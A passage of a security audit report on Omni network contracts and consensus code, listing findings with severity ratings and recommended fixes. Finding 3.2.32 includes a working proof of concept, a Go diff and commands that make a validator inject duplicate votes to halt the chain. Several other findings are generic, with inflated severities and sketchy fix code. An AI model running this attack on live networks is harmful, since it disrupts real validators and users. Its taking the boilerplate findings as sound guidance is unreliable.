Spam of unjail events from the same address

Premature unjailing attempts before meeting required conditions

- Impact Explanation

The impact is rated as High because:

Unnecessary unjail events could overwhelm the consensus chain

Resources are wasted processing invalid unjail requests

The consensus chain's state management could be disrupted

Monitoring and alerting systems could be spammed with false events

Valid unjail requests might be delayed due to system congestion

- Likelihood Explanation

The likelihood is rated as High because:

The function is publicly accessible to any address

The only barrier to entry is the fee payment

Malicious actors could automate calls using multiple addresses

The potential for disruption might incentivize attacks

- Proof of Concept (if required)
- Recommendation (optional)

Add validator status verification:

```
contract Slashing {
    IStaking public immutable staking; // Interface to staking contract
    mapping(address => uint256) public lastUnjailTime;
    uint256 public constant UNJAIL_COOLDOWN = 1 days;

    error NotValidator();
    error NotJailed();
    error CooldownNotExpired();
    error InsufficientFee();

    function unjail() external payable {
        // Verify caller is a validator
        if (!staking.isValidator(msg.sender)) {
            revert NotValidator();
        }

        // Verify validator is jailed
        if (!staking.isJailed(msg.sender)) {
            revert NotJailed();
        }

        // Check cooldown period
        if (block.timestamp - lastUnjailTime[msg.sender] < UNJAIL_COOLDOWN) {
            revert CooldownNotExpired();
        }

        // Verify minimum fee
        if (msg.value < Fee) {
            revert InsufficientFee();
        }

        // Update last unjail time
        lastUnjailTime[msg.sender] = block.timestamp;

        // Process fee
        _burnFee();

        // Emit event
        emit Unjail(msg.sender);
    }

    function isJailPeriodComplete(address validator) external view returns (bool) {
        return block.timestamp - lastUnjailTime[validator] >= UNJAIL_COOLDOWN;
    }
}
```

3.2.25 No Active Plan Check in the cancelUpgrade function

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `cancelUpgrade` function in the Upgrade contract allows cancellation of upgrade plans without verifying if there is an active plan to cancel, potentially leading to inconsistent state and false cancellation events.

- Finding Description

The `cancelUpgrade` function simply emits a cancellation event without:

Verifying if there is an active upgrade plan

Checking the plan's status

Managing plan state after cancellation

Validating the timing of cancellation

Code from Upgrade contract:

```
function cancelUpgrade() external onlyOwner {
    emit CancelUpgrade();
}
```

- Impact Explanation

This vulnerability could lead to:

Emission of false cancellation events

Confusion among validators about upgrade status

Inconsistent upgrade state tracking

- Likelihood Explanation

The likelihood is high because:

Function can be called at any time by owner

No checks prevent unnecessary cancellations

No state tracking mechanisms

Easy to trigger accidentally or maliciously

No technical barriers to exploitation

- Proof of Concept (if required)
- Recommendation (optional)

3.2.26 Missing Point-of-No-Return Protection in Upgrade Cancellation

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `cancelUpgrade` function allows cancellation of upgrades at any time before execution, even moments before the scheduled upgrade, potentially causing network coordination issues and validator disruption.

- Finding Description

The `cancelUpgrade` function in the Upgrade contract lacks critical timing safeguards:

No minimum buffer period before upgrade height

No validation of proximity to upgrade time

No coordination window for validators

No safety checks for late cancellations

Current implementation:

```
function cancelUpgrade() external onlyOwner {
    emit CancelUpgrade();
}
```

- Impact Explanation

The lack of point-of-no-return protection can lead to:

Wasted resources from last-minute cancellations

Increased operational costs for validators

- Likelihood Explanation

The likelihood is high because:

No technical barriers prevent last-minute cancellations

Owner can trigger at any time

No cooling-off period enforced

- Proof of Concept (if required)
- Recommendation (optional)

Implement point-of-no-return protection:

```
contract Upgrade is OwnableUpgradeable {
    uint256 public constant POINT_OF_NO_RETURN = 1000; // blocks
    uint256 public constant MINIMUM_UPGRADE_DELAY = 5000; // blocks

    struct UpgradePlan {
        string name;
        uint64 height;
        string info;
        bool isActive;
        uint256 plannedAt;
    }

    UpgradePlan public currentPlan;

    function cancelUpgrade() external onlyOwner {
        require(currentPlan.isActive, "No active upgrade plan");

        // Ensure cancellation is not too close to upgrade
        require(
            block.number <= currentPlan.height - POINT_OF_NO_RETURN,
            "Past point of no return"
        );

        emit CancelUpgrade();
        delete currentPlan;
    }
}
```

3.2.27 VoteExtensions can be valid when received but out of vote window when proposing in next block

Severity: High Risk

Context: keeper.go#L809, proposal_server.go#L31

- Description The `VoteExtension` flow is the following:

1. Vote extensions come in during precommits for height X, and `VerifyVoteExtension` is called for them.
2. At the end of the block, attestations can be created that advance the valid vote window as it is relative to the latest `Status_Approved` attestation offset. (`attest/keeper/keeper.go:EndBlock`)

3. The vote extensions are available for the proposer of the next block at height X+1. They are not verified at this point during `PrepareProposal()`.
4. The proposal is built and proposed, containing the aggregated votes.
5. When other validators receive the proposal during `ProcessProposal()`, they verify the vote extensions in full via `proposal_server:AddVotes()`.

Both `VerifyVoteExtension` and `proposal_server:AddVotes()` use the same vote window function to check that the attestation offset is within the range:

```
func (k *Keeper) windowCompare(ctx context.Context, chainVer xchain.ChainVersion, offset uint64) (int, error) {
    // @audit-info latest status.Approved attestation for this chain
    latest, exists, err := k.latestAttestation(ctx, chainVer)
    if err != nil {
        return 0, err
    }

    latestOffset := initialAttestOffset // Use initial offset if attestation doesn't exist.
    if exists {
        latestOffset = latest.GetAttestOffset()
    }

    return windowCompare(k.voteWindowDown, k.voteWindowUp, latestOffset, offset), nil
}
```

However, the `latest` attestation might have advanced between when `VerifyVoteExtension` was called at height X and `ProcessProposal()` at height X+1 as attestation were created during `EndBlock` of `X`. The attestation might be out of the vote window, returning an error and rejecting the proposal.

Honest validators can by accident (or malicious actors on purpose) send in vote extensions that are about to be out of the vote window and the next proposer will propose a block that will be rejected.

The impact is rated as high as `ProcessProposal()` can reject blocks from an honest node, resulting in correctly operating nodes preparing invalid proposals, which stalls the chain. The likelihood is medium as malicious validators can force it given the right conditions, or honest validators that are lagging with attestations can trigger it by accident.

- Recommendation Consider skipping invalid aggregated votes when processing them during `ProcessProposal` or filter out invalid vote extensions when the proposal is built in `PrepareProposal()`.

3.2.28 Missing Return Value Check for ERC20 Token Transfer

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `withdraw` function in `OmniBridgeL1` contract uses `token.transfer()` without checking its return value.

Some ERC20 tokens (like USDT) may fail silently and return false instead of reverting on failed transfers, which could lead to tokens being locked in the contract.

- Finding Description

In the OmniBridgeL1 contract:

```
function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
    XTypes.MsgContext memory xmsg = omni.xmsg();

    require(msg.sender == address(omni), "OmniBridge: not xcall");
    require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
    require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

    token.transfer(to, amount);  // No return value check

    emit Withdraw(to, amount);
}
```

Issues:

No verification of transfer success

Some tokens return false on failure instead of reverting

Could lead to inconsistent bridge state

Emits event even if transfer failed

- Impact Explanation

The impact is rated as High because:

Failed transfers could lead to permanently locked tokens

Creates accounting discrepancy between different chains

Users could lose access to their bridged tokens

Bridge state could become inconsistent

- Likelihood Explanation

The likelihood is rated as Medium because:

Many popular tokens (like USDT) don't revert on failure

Issue manifests with non-reverting tokens

High transaction volume increases chances of occurrence

- Proof of Concept (if required)
- Recommendation (optional)

Use OpenZeppelin's SafeERC20 library:

```
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

contract OmniBridgeL1 is OmniBridgeCommon {
    using SafeERC20 for IERC20;

    function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

        token.safeTransfer(to, amount);  // Will revert on failure

        emit Withdraw(to, amount);
    }
}
```


3.2.29 Non determinism in the multiple parts of the voter contract

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

The `voter::instrumentUnsafe()` function which is used extensively in the `voter` contract introduces non-determinism due to the order of iteration over `counts` which is a `map`.

```
File: voter.go
578: func (v *Voter) instrumentUnsafe() {
579:     count := func(atts []*types.Vote, gaugeVec *prometheus.GaugeVec) {
580: @>      counts := make(map[xchain.ChainVersion]int)
581:         for _, vote := range atts {
582:             counts[vote.AttestHeader.XChainVersion()]++
583:         }
584:
585: @>      for chain, count := range counts { // @audit MED: looping over a amap breeds non determinism
586:             gaugeVec.WithLabelValues(v.network.ChainVersionName(chain)).Set(float64(count))
587:         }
588:     }
589:
590:     count(v.available, availableCount)
591:     count(v.proposed, proposedCount)
592: }
```

The problem is that, iterating over a `map` in go returns different order of keys hence the `gauge` for a given `chain` can be set to a wrong `count` value belonging to the gauge for a different `chain`.

```
File: voter.go
534: func (v *Voter) saveUnsafe() error {

////SNIP     ............
571:
572: @> v.instrumentUnsafe()
573:
574:     return nil
575: }
```

The `instrumentUnsafe()` function is used in `saveUnsafe()` function which is used in different parts of the `voter` contract including:

- `voter::Vote()`
- `voter::SetProposed()`
- `voter::SetCommitted()`
- `voter::LoadVoter()`
- Impact
- accounting for the gauges is broken when executing core functions in the voter contract due to non determinism introduced by looping over a map
- Recommendation An option to explore is to consider making `counts` a slice rather than a `map` (although this is non exhaustive)

3.2.30 Missing Protection Against Cross-Chain Message Replay Attacks

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `xsubmit` function in the `OmniPortal` contract lacks a mechanism to track and validate whether a cross-chain message submission has already been processed.

This could allow attackers to replay valid submissions multiple times, potentially leading to duplicate message execution and state corruption.

- Finding Description

In the OmniPortal contract's `xsubmit` function:

```
function xsubmit(XTypes.Submission calldata xsub)
    external
    whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
    nonReentrant
{
    XTypes.Msg[] calldata xmsgs = xsub.msgs;
    XTypes.BlockHeader calldata xheader = xsub.blockHeader;
    uint64 valSetId = xsub.validatorSetId;

    // Validates consensus chain ID
    require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");

    // Validates message batch is not empty
    require(xmsgs.length > 0, "OmniPortal: no xmsgs");

    // Validates validator set
    require(valSetTotalPower[valSetId] > 0, "OmniPortal: unknown val set");
    require(valSetId >= _minValSet(), "OmniPortal: old val set");

    // Missing: No check if this submission has been processed before
    // Missing: No tracking of processed submission identifiers

    // ... rest of validation and execution ...
}
```

Critical missing validations:

No tracking of processed submission hashes

No uniqueness verification of submissions

No nonce or sequence number validation

No timestamp-based replay protection

- Impact Explanation

The impact is rated as Critical because:

Attackers can replay valid cross-chain messages multiple times

Could lead to:

Double spending of bridged assets

Duplicate execution of cross-chain governance actions

Multiple processing of critical system updates

State corruption across chains

- Likelihood Explanation

The likelihood is rated as High because:

Attack requires only:

A valid historical submission and Ability to call xsubmit

No technical barriers to replay

Strong financial incentive for attackers

Can be automated and repeated

Multiple attack vectors possible

History of similar vulnerabilities being exploited in bridges

- Proof of Concept (if required)
- Recommendation (optional)

Implement submission tracking:

```
contract OmniPortal {
    // Track processed submissions
    mapping(bytes32 => bool) public processedSubmissions;

    function xsubmit(XTypes.Submission calldata xsub) external {
        // Generate unique submission identifier
        bytes32 submissionId = keccak256(
            abi.encode(
                xsub.blockHeader.sourceChainId,
                xsub.blockHeader.offset,
                xsub.blockHeader.consensusChainId,
                xsub.attestationRoot
            )
        );

        // Check if already processed
        require(
            !processedSubmissions[submissionId],
            "OmniPortal: submission already processed"
        );

        // Mark as processed before execution
        processedSubmissions[submissionId] = true;

        // Rest of the validation and execution...
    }
}
```

3.2.31 Missing Message Order Validation in Cross-Chain Message Batch

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `xsubmit` function in the `OmniPortal` contract does not validate that messages within a batch are properly ordered and consecutive.

While individual message offsets are checked during execution in `_exec`, there's no validation at the batch level to ensure messages are consecutive and in the correct order, potentially allowing message reordering attacks.

- Finding Description

Current implementation in OmniPortal contract:

```
function xsubmit(XTypes.Submission calldata xsub) external {
    XTypes.Msg[] calldata xmsgs = xsub.msgs;
    XTypes.BlockHeader calldata xheader = xsub.blockHeader;

    require(xmsgs.length > 0, "OmniPortal: no xmsgs");
    // ... other validations ...

    // Messages are processed in the order they appear in the array
    // No validation of sequence or consecutive ordering
    for (uint256 i = 0; i < xmsgs.length; i++) {
        _exec(xheader, xmsgs[i]);
    }
}

function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
    // Individual offset check happens here, but too late
    // Batch could be reordered or have gaps
    require(
        offset == inXMsgOffset[sourceChainId][shardId] + 1,
        "OmniPortal: wrong offset"
    );
    // ... rest of execution ...
}
```

Critical issues:

No validation of message sequence before processing

No check for gaps in message sequence

No verification that messages are in ascending order

Messages could be reordered within valid offset bounds

No batch-level sequence integrity check

- Impact Explanation

The impact is rated as Critical because:

Message reordering can break critical state transitions

Can lead to:

Race condition exploitation and Transaction ordering manipulation

- Likelihood Explanation

The likelihood is rated as High because:

Attack requires only:

Valid message batch and Ability to reorder messages

No technical barriers preventing reordering

Multiple potential attack vectors

Financial incentive for exploitation

Common vulnerability in cross-chain systems

Can be combined with other attacks

- Proof of Concept (if required)
- Recommendation (optional)

Implement batch-level message ordering validation:

```
contract OmniPortal {
    error MessagesNotOrdered();
    error MessagesNotConsecutive();

    function xsubmit(XTypes.Submission calldata xsub) external {
        XTypes.Msg[] calldata xmsgs = xsub.msgs;
        require(xmsgs.length > 0, "OmniPortal: no xmsgs");

        // Validate message ordering and consecutiveness
        validateMessageOrder(xmsgs);

        // Continue with processing...
    }

    function validateMessageOrder(XTypes.Msg[] calldata msgs) internal view {
        uint64 expectedOffset = inXMsgOffset[msgs[0].sourceChainId][msgs[0].shardId] + 1;

        for (uint256 i = 0; i < msgs.length; i++) {
            // Verify messages are consecutive
            if (msgs[i].offset != expectedOffset) {
                revert MessagesNotConsecutive();
            }

            // If not last message, verify ordering
            if (i < msgs.length - 1) {
                if (msgs[i].offset >= msgs[i + 1].offset) {
                    revert MessagesNotOrdered();
                }
            }

            expectedOffset++;
        }
    }
}
```

3.2.32 Omni chain halt via post-quorum votes poisoning

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

Omni chain relies heavily on ABCI's `VerifyVoteExtension` being executed for every vote extension from every validator. Unfortunately, **CometBFT doesn't call this function for vote extensions received after the quorum is reached**. As a result, duplicate votes received post-quorum are added to the commit info and find their way into the next proposed block. `ProcessProposal` function of all validators then rejects the proposal, and the vicious cycle repeats with the next proposal: **Omni chain is permanently halted**, and no new blocks are produced.

- Finding Description

Omni chain relies heavily on ABCI's `VerifyVoteExtension` being executed for every vote extension from every validator. Citing from Technical Documentation (made available from the Cantina competition page):

> Validators should reject vote extensions that contain invalid votes via `VerifyVoteExtension`

However, as described in CometBFT documentation for `PrepareProposal` method:

> the Application MAY use the vote extensions in the commit info to modify the proposal, in which case it is suggested that extensions be validated in the same maner as done in VerifyVoteExtension, since **extensions of votes included in the commit info after the minimum of +2/3 had been reached are not verified.**

One of the key responsibilities of VerifyVoteExtension is to verify that the vote extensions received from each validator don't contain duplicate votes:

```
duplicate := make(map[xchain.AttestHeader]bool)
for _, vote := range votes.Votes {
    if err := vote.Verify(); err != nil {
        log.Warn(ctx, "Rejecting invalid vote", err)
        return respReject, nil
    }
    if duplicate[vote.AttestHeader.ToXChain()] {
        doubleSignCounter.WithLabelValues(ethAddr.Hex()).Inc()
        log.Warn(ctx, "Rejecting duplicate slashable vote", err)
        return respReject, nil
    }
    duplicate[vote.AttestHeader.ToXChain()] = true
...
```

But, as explained above, this check is bypassed by votes received after the quorum is reached. **Duplicate votes received post-quorum are added to the commit info, poisoning it.**

To create the next block, CometBFT then proceeds to call proposing validator's PrepareProposal, which collects votes from the last commit info in PrepareVotes. This function calls `baseapp.ValidateVoteExtensions`, which *does not verify the presence of duplicates*. Notice this comment from PrepareProposal:

> // Note that the commit is trusted to be valid and only contains valid VEs from the previous block as // provided by a trusted cometBFT.

This the the key assumption which is violated. The proposal with duplicate votes is formed and submitted to CometBFT.

All non-proposing validators then receive the proposed block, and CometBFT calls ProcessProposal; via Cosmos SDK wiring the received votes are then verified in proposal_server.go::AddVotes. The call then proceeds to verifyAggVotes, which calls AggVote::Verify for each aggregate vote; and *this function checks for duplicates*. As a result, **duplicate votes are detected, and the proposal is rejected by all validators**.

As no new block is created, the next proposing validator employs the same poisoned votes with duplicates from the commit info of the previous block, forms an invalid proposal, which is then rejected by all validators; the vicious loop proceeds ad infinitum. **Omni chain is halted.**

The vulnerability described here violates the key security guarantee of the Omni chain, namely Byzantine Fault Tolerance (BFT): the chain should be able to withstand arbitrary malicious behavior from valida-

tors with $\frac{1}{3}$ of the total voting power. As this finding demonstrates, **a single malicious validator may halt Omni chain**, irrespective of their voting power. It is worth noting that a validator may also be non-malicious, and the bug may be triggered due to other circumstances, such as a bug in validator's signing software, or validator being compromised: exactly the cases BFT consensus is designed to be resilient against.

- Impact & Likelihood Explanation
- Impact is **High** because Omni chain is permanently halted.
- Likelihood is **High** because this bug can be easily triggered by a single malicious or malfunctioning validator. Adding votes post-quorum to the commit info occurs naturally when there are more than two validators.

Taken together, this is a **High severity** vulnerability, which *"leads to a catastrophic scenario that can be triggered by anyone or occur naturally"* (quoting from Cantina docs).

- Proof of Concept

1. Make sure to clone the Omni monorepo, and to checkout the audit commit; the code downloaded from Cantina won't work, because necessary files (e.g. `.goreleaser-snapshot.yaml`) are excluded from download.

```
git clone https://github.com/omni-network/omni.git
cd omni
git checkout a782d51ad534f59ffaa20201f5711ee7ecb47e79
```

2. For demoing the finding we need a devnet manifest with >= 3 validators; please apply this diff to add to e2e/manifests/ the `devnet2.toml` manifest with 4 validators.

```
diff --git a/e2e/manifests/devnet2.toml b/e2e/manifests/devnet2.toml
new file mode 100644
index 0000000..7c0509f
--- /dev/null
+++ b/e2e/manifests/devnet2.toml
@@ -0,0 +1,14 @@
+# Devnet2 is the multi-validator devnet with 4 validators.
+network = "devnet"
+anvil_chains = ["mock_l1", "mock_l2"]
+
+multi_omni_evms = true
+prometheus = true
+
+[node.validator01]
+[node.validator02]
+[node.validator03]
+[node.validator04]
+
+[node.fullnode01]
+mode="archive"
```

3. We also recommend to add a rule to Makefile in order to be able to stop & clean up `devnet2` after the experiments:

```
diff --git a/Makefile b/Makefile
index 94a996b7..13349fe8 100644
--- a/Makefile
+++ b/Makefile
@@ -76,6 +76,11 @@ devnet-clean: ## Deletes devnet1 containers
    @echo "Stopping the devnet in ./e2e/run/devnet1"
    @go run github.com/omni-network/omni/e2e -f e2e/manifests/devnet1.toml clean

+.PHONY: devnet2-clean
+devnet2-clean: ## Deletes devnet2 containers
+   @echo "Stopping the devnet in ./e2e/run/devnet2"
+   @go run github.com/omni-network/omni/e2e -f e2e/manifests/devnet2.toml clean
+
 .PHONY: e2e-ci
 e2e-ci: ## Runs all e2e CI tests
    @go install github.com/omni-network/omni/e2e
```

4. Apply the changes below to halo/attest/keeper/keeper.go; they implement the attack from the side of a single malicious validator (we've chosen `validator03` for that purpose).

```
diff --git a/halo/attest/keeper/keeper.go b/halo/attest/keeper/keeper.go
index 08bc998f..d2db4025 100644
--- a/halo/attest/keeper/keeper.go
+++ b/halo/attest/keeper/keeper.go
@@ -6,6 +6,10 @@ import (
    "fmt"
    "log/slog"
    "strconv"
+   "time"
+
+   cfg "github.com/cometbft/cometbft/config"
+   "github.com/spf13/viper"

    "github.com/omni-network/omni/halo/attest/types"
    rtypes "github.com/omni-network/omni/halo/registry/types"
@@ -660,7 +664,7 @@ func (k *Keeper) EndBlock(ctx context.Context) error {
 }

 // ExtendVote extends a vote with application-injected data (vote extensions).
-func (k *Keeper) ExtendVote(ctx sdk.Context, _ *abci.RequestExtendVote) (*abci.ResponseExtendVote, error) {
+func (k *Keeper) ExtendVote(ctx sdk.Context, req *abci.RequestExtendVote) (*abci.ResponseExtendVote, error) {
    cChainID, err := netconf.ConsensusChainIDStr2Uint64(ctx.ChainID())
    if err != nil {
        return nil, errors.Wrap(err, "parse chain id")
@@ -702,6 +706,26 @@ func (k *Keeper) ExtendVote(ctx sdk.Context, _ *abci.RequestExtendVote) (*abci.R
        }
    }

+   // We need to differentiate somehow a single malicious validator
+   // We do that by reading the Moniker field from CometBFT config
+   v := viper.New()
+   v.SetConfigName("config")
+   v.AddConfigPath("./halo/config")
+   v.ReadInConfig()
+   conf := *cfg.DefaultConfig()
+   v.Unmarshal(&conf)
+   moniker := conf.Moniker
+
+   // Validator03 is malicious
+   // We execute the attack at or after height 42, when there are some votes
+   if moniker == "validator03" && req.Height >= 42 && len(filtered) > 0 {
+       log.Debug(ctx, " EXECUTE ATTACK: poison post-quorum votes")
+       // Sleep for 200 ms to ensure the votes will be added post-quorum
+       time.Sleep(200 * time.Millisecond)
+       // Poison the votes, by adding a duplicate vote
+       filtered = append(filtered, filtered[0])
+   }
+
    bz, err := proto.Marshal(&types.Votes{
        Votes: filtered,
    })
```

5. Commit the changes to the repo (this is necessary for rebuilding the Docker images):

```
git add e2e/manifests/devnet2.toml
git add Makefile
git add halo/attest/keeper/keeper.go
git commit -m "PoC for the vote poisoning finding"
```

6. Clean up and rebuild the docker images.

```
docker system prune -a -f --volumes
make build-docker
```

7. Run the e2e test: `MANIFEST=devnet2 make e2e-run`
8. Wait for the message `INFO Waiting for initial height` to appear, and in two additional terminals execute the following commands, which allow to observe the output from `validator01` and `validator03` respectively:

- `docker attach $(docker ps | grep -oP '^[0-9a-f]+(?=.*validator01$)')`
- `docker attach $(docker ps | grep -oP '^[0-9a-f]+(?=.*validator03$)')`

9. Wait till Omni chain reaches height 42, when the attack is executed, and observe the following output:
    - From `validator03`: it can be seen that the attack is executed

- From `validator01`: it can be seen that the chain is halted: block proposals are rejected ad infinitum

- From the test window: it can be seen that EVM transactions stopped to be mined

10. You may now terminate the test, and stop the Docker containers: `make devnet2-clean`.

- Recommendation

As explained in the cited above CometBFT documentation for `PrepareProposal` method, we recommend to modify `PrepareProposal`, and verify all votes from commit info in the same way they are verified in `VerifyVoteExtension`. It should be implemented in a way though which is *resilient against errors* in order not to halt the chain. E.g. when a duplicate vote is detected, the function should not error out, but instead detect/report/ignore the duplication, and proceed with constructing the proposal.

3.2.33 MsgExecutionPayload with wrong PrevPayloadEvents would be accepted

Severity: High Risk

Context: prouter.go#L30-L87, abci.go#L127-L138, msg_server.go#L99-L102

- Description MsgExecutionPayload.PrevPayloadEvents are all events emitted by contracts in the octane folder and PortalRegistry.sol. They are provided by the block proposer in PrepareProposal. Since there are no checks by other validators to confirm it is correct, a malicious proposer could modify it.

Removing events from PrevPayloadEvents has great consequences

- A planned or cancelled upgrade would be ignored
- New chain deployment would be prevented
- Validators would lose funds because Ether sent with unjail, createValidator and delegate would be lost without affecting halo validatorSet

Adding events has greater consequences. A createValidator or delegate event with a very large amount can allow the malicious proposer to take over the chain and crosschain messages.

- Recommendation Let other validators verify MsgExecutionPayload.PrevPayloadEvents in ProcessProposal.

3.2.34 Missing Block Header Timestamp Validation in Cross-Chain Messages

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `xsubmit` function in the `OmniPortal` contract does not validate block header timestamps.

This omission could allow attackers to replay outdated messages or execute future messages prematurely, potentially compromising the temporal integrity of cross-chain operations.

- Finding Description

In the OmniPortal contract's `xsubmit` function:

```
function xsubmit(XTypes.Submission calldata xsub) external {
    XTypes.Msg[] calldata xmsgs = xsub.msgs;
    XTypes.BlockHeader calldata xheader = xsub.blockHeader;

    // Current validations
    require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");
    require(xmsgs.length > 0, "OmniPortal: no xmsgs");

    // Missing timestamp validations:
    // 1. No check if block is too old
    // 2. No check if block is from the future
    // 3. No validation against previous block timestamps
    // 4. No time-based replay protection

    for (uint256 i = 0; i < xmsgs.length; i++) {
        _exec(xheader, xmsgs[i]);
    }
}
```

Critical missing validations:

No timestamp freshness check

No validation against a time window

No check for future timestamps

No timestamp sequence validation

No temporal replay protection

- Impact Explanation

The impact is rated as High because:

Allows execution of outdated messages that may be invalid

Enables premature execution of future messages

Can break time-dependent logic in cross-chain applications

- Likelihood Explanation

The likelihood is rated as High because:

No technical barriers to submitting old or future blocks

Attack vectors are easily executable

Time manipulation is a common attack vector

Multiple potential exploitation scenarios

Can be combined with other attacks

Difficulty in detecting time-based attacks

- Proof of Concept (if required)
- Recommendation (optional)

Implement timestamp validation with configurable time windows:

```
contract OmniPortal {
    // Configuration for time windows
    uint256 public constant MAX_BLOCK_AGE = 1 hours;
    uint256 public constant MAX_FUTURE_TIMESTAMP = 5 minutes;

    error BlockTooOld(uint256 blockTimestamp, uint256 currentTime);
    error BlockFromFuture(uint256 blockTimestamp, uint256 currentTime);
    error InvalidTimestampSequence();

    function xsubmit(XTypes.Submission calldata xsub) external {
        // Validate block timestamp
        validateBlockTimestamp(xsub.blockHeader);

        // Rest of the submission processing...
```

```
    }

    function validateBlockTimestamp(
        XTypes.BlockHeader calldata header
    ) internal view {
        uint256 currentTime = block.timestamp;
        uint256 blockTime = header.timestamp;

        // Check if block is too old
        if (currentTime - blockTime > MAX_BLOCK_AGE) {
            revert BlockTooOld(blockTime, currentTime);
        }

        // Check if block is from future
        if (blockTime > currentTime + MAX_FUTURE_TIMESTAMP) {
            revert BlockFromFuture(blockTime, currentTime);
        }

        // Optional: Check timestamp sequence with previous block
        if (_hasProcessedBlocks(header.sourceChainId)) {
            require(
                blockTime > getLastProcessedBlockTime(header.sourceChainId),
                "OmniPortal: invalid timestamp sequence"
            );
        }
    }

    // Track processed block timestamps
    mapping(uint64 => uint256) public lastBlockTimestamp; // chainId => timestamp

    function _hasProcessedBlocks(uint64 chainId) internal view returns (bool) {
        return lastBlockTimestamp[chainId] != 0;
    }

    function getLastProcessedBlockTime(
        uint64 chainId
    ) public view returns (uint256) {
        return lastBlockTimestamp[chainId];
    }
}
```

3.2.35 `xsubmit` will be unable to verify attestations when there are too many XMsgs

Severity: High Risk

Context: OmniPortal.sol#L123-L151, OmniPortal.sol#L174-L211

- Description

In the current implementation, the number of XMsg per destination chain is not capped.

An attacker may create thousands of `XMsg` in a single source chain block. All these XMsgs will be aggregated in a single attestation that will be checked by Omni's validators.

Finally, the attestation will be sent to the destination chain. Due to the high number of XMsgs in this attestation, `Portal.xsubmit` may consume more gas than the 30M gas limit per block.

This will make the attestation unprocessable, breaking all cross-chain messaging between this source and destination chains.

- Impact

Verifying an attestation is impossible => Denial of service of cross-chain messaging

- Recommendation

In the current implementation, the number of XMsg per (source, destination) pair must be capped to ensure that the destination chains' `Portal.xsubmit` are able to process the attestations.

This can be implemented in the `Portal.xcall` logic.

3.2.36 Transactions failure: Inconsistent State Between Chains, Due to Block Time Difference in OmniBridgeL1.sol & OmniBridgeNative.sol

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Finding Description

The OmniBridgeL1.sol and OmniBridgeNative.sol bridges OMNI tokens between Ethereum and the Omni blockchain, where OmniBridgeNative Mirrors OmniBridgeL1, handling native OMNI tokens and accounting for cross-chain liquidity.

Ethereum has a block time of approximately **13 seconds** while Omni chain has a block time of approximately ** 2 seconds.** Due to the block time difference and the Relayer waiting for finality on Ethereum before updating balances on Omni, within this time gap Omni chain is potentially using outdated state. withdraw and bridge calls relying on Ethereum's balance may revert or fail if there's no sufficient balance on Omni due to this stale state.

A user bridges tokens from Ethereum to Omni. The `_bridge` function in OmniBridgeL1 transfers the tokens from the user and triggers an `xcall` to `OmniBridgeNative.withdraw`. However, due to the time gap, the state update in OmniBridgeL1 (reducing the L1 bridge balance) might not be reflected on chain yet. On the Omni side, OmniBridgeNative.withdraw attempts to send the tokens to the destination chain, but might fail if the bridge balance hasn't been updated yet.

https://github.com/omni-network/omni/blob/main/contracts/core/src/token/OmniBridgeL1.sol#L59-L106

https://github.com/omni-network/omni/blob/main/contracts/core/src/token/OmniBridgeNative.sol#L95-L143

- Impact

Transactions may revert on the destination chain due to insufficient balance checks, If the `withdraw` call on Omni fails, the tokens will be locked in the OmniBridgeNative contract and unavailable to the user, Multiple withdrawals could be initiated before balance updates are synchronized, Possible DOS attacks exploiting the time gap between chains.

- Proof of Concept '// Test contract contract OmniBridgeExploit { OmniBridgeL1 public bridgeL1;

  constructor(address _bridgeL1) { bridgeL1 = OmniBridgeL1(_bridgeL1); }

  function exploit(address attacker, uint256 amount) external payable { // First bridge transaction bridgeL1.bridge{value: msg.value/2}(attacker, amount);

  ```
  // Second bridge transaction before state updates on Omni
  // This could fail on Omni due to stale state
  bridgeL1.bridge{value: msg.value/2}(attacker, amount);
  ```

  } }'

- Recommendation

Consider Implementing a Cross-Chain Balance Synchronization queue.

3.2.37 The aggregated attestations returned by `cpayload::sortAggregates()` are not in a deterministic order

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description When votes are being aggregated during votes preparation, a call is made to `aggregateVotes()` to return the aggregated votes returned from the last local commit. The `aggregateVotes()` function achieves thia by making a call to `sortAggregates()` which is suppose to return the provided aggregates in a deterministic order.

```
File: cpayload.go

File: cpayload.go
125: func aggregateVotes(votes []*types.Vote) ([]*types.AggVote, error) {
126: @> uniqueAggs := make(map[common.Hash]*types.AggVote)
///SNIP   ......
140:
141:         agg.Signatures = append(agg.Signatures, vote.Signature)
142: @>      uniqueAggs[attRoot] = agg
143:     }
144:
145: @> return sortAggregates(flattenAggs(uniqueAggs)), nil
146: }


160: func sortAggregates(aggs []*types.AggVote) []*types.AggVote {
161:     sort.Slice(aggs, func(i, j int) bool {
162:         if aggs[i].AttestHeader.AttestOffset != aggs[j].AttestHeader.AttestOffset {
163:             return aggs[i].AttestHeader.AttestOffset < aggs[j].AttestHeader.AttestOffset
164:         }
165:         if aggs[i].BlockHeader.ChainId != aggs[j].BlockHeader.ChainId {
166:             return aggs[i].BlockHeader.ChainId < aggs[j].BlockHeader.ChainId
167:         }
168:
169:         return bytes.Compare(aggs[i].BlockHeader.BlockHash, aggs[j].BlockHeader.BlockHash) < 0
170:     })
171:
172:     return aggs
173: }
```

